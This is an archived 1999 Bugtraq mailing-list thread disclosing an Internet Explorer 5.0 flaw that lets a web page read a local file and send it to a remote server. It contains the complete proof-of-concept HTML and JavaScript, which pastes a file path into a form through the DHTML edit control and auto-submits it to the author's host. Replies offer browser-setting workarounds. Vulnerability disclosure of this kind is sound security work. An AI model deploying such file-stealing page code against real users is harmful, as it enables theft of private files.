home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack99 / msie.5.0.local.files.txt < prev    next >
Encoding:
Internet Message Format  |  1999-04-11  |  3.4 KB

  1. Date: Tue, 30 Mar 1999 19:35:16 +0300
  2. From: Georgi Guninski <joro@NAT.BG>
  3. To: BUGTRAQ@netspace.org
  4. Subject: IE 5.0 allows reading and sending local files to a remote server
  5.  
  6. There is a security bug in Internet Explorer 5.0, which allows reading
  7. and
  8. sending local files to a remote server.
  9. The problem is a bug in the DHTML edit control, which allows pasting a
  10. filename in a FILE object. When the form is submitted via JavaScript,
  11. the
  12. contents of the file are sent to a remote server.
  13.  
  14. Demonstration is available at: http://www.nat.bg/~joro/fr.html
  15.  
  16. Workaround: Disable JavaScript
  17.  
  18. I would like to thank Juan Cuartango
  19. (http://pages.whowhere.com/computers/cuartangojc/index.html) for his IE
  20. exploits,
  21. which helped me a lot for discovering this vulnerability!
  22.  
  23. Regards,
  24. Georgi Guninski
  25. http://www.nat.bg/~joro
  26.  
  27. -------------------------------------------------------------------------
  28.  
  29. [http://www.nat.bg/~joro/fr.html]
  30.  
  31. <HTML><HEAD><TITLE>IE 5.0 file reading</TITLE>
  32. </HEAD>
  33. <BODY>
  34. There is a bug in Internet Explorer 5.0 which allows reading and sending local files.
  35. <BR>
  36. The file name must be known.
  37. <BR>
  38. Thanks to Juan Cuartango for his exploits, which helped me a lot for discovering this vulnerability!
  39. <BR>
  40. Written by <A HREF="http://www.nat.bg/~joro">Georgi Guninski</A>
  41. <BR>
  42. Workaround: Disable JavaScript
  43. <BR>
  44. <BR>
  45. <INPUT TYPE=TEXT ID=A1 VALUE="C:\TEST.TXT">
  46.  
  47. <SCRIPT>
  48.  
  49. function f1()
  50. {
  51.  
  52.  
  53. document.all.A1.select();
  54. document.execCommand("copy");
  55.  
  56. dh.DOM.forms(0).elements(0).focus();
  57. dh.execCommand(5032);
  58. setTimeout("dh.DOM.forms(0).submit();",1000);
  59.  
  60.  
  61.  
  62. }
  63.  
  64. function f()
  65. {
  66. alert("Create a file C:\\test.txt and it will be read and shown in another window \n You may need to wait some time");
  67. dh.loadURL("http://www.nat.bg/~joro/form3.html");
  68. setTimeout("f1()",2000);
  69. }
  70.  
  71. setTimeout("f();",1000);
  72.  
  73. </SCRIPT>
  74.  
  75.  
  76.  
  77.  
  78. <OBJECT classid=clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A height=100 id=dh 
  79. width=700>
  80. </OBJECT>
  81.  
  82.  
  83. </BODY>
  84. </HTML>
  85.  
  86. -------------------------------------------------------------------------
  87.  
  88. Date: Wed, 31 Mar 1999 09:14:47 +0100
  89. From: Andrew Tulloch <frohicky@TECHNOLOGIST.COM>
  90. To: BUGTRAQ@netspace.org
  91. Subject: Re: IE 5.0 allows reading and sending local files to a remote server
  92.  
  93.  
  94. If you look under scripting options in security settings there is the option
  95. "Allow paste via script" simply turning this to disabled provides this
  96. result:
  97.  
  98. <paste>
  99. See the contents of your file among the other stuff
  100. ----------------------------------------------------------------------------
  101. ----
  102. -----------------------------7cf26c3b6a8 Content-Disposition: form-data;
  103. name = "a"; filename="" Content-Type:
  104. application/octet-stream -----------------------------7cf26c3b6a8--
  105. </paste>
  106.  
  107. which as far as I see has disabled the reading of local files and is a
  108. little less drastic than disabling all JavaScript.
  109.  
  110. Regards,
  111.  
  112. Andrew Tulloch
  113.  
  114. -------------------------------------------------------------------------
  115.  
  116. Date: Wed, 31 Mar 1999 14:05:21 -0800
  117. From: "Stephen Purpura (MSFDC-JV)" <v-spurpu@MICROSOFT.COM>
  118. To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
  119. Subject: Re: IE 5.0 allows reading and sending local files to a remote server
  120.  
  121. There is another workaround.  In IE5, if you use the "built in" feature to
  122. limit scripted paste operations then the problem doesn't seem to manifest.
  123.  
  124. Try the following and goto the sample implementation:
  125.  
  126. Tools menu --> Internet options --> security tab --> custom level --> allow
  127. paste operations via script = prompt or disable
  128.  
  129.  
  130. Stephen
  131.  
  132.  
  133.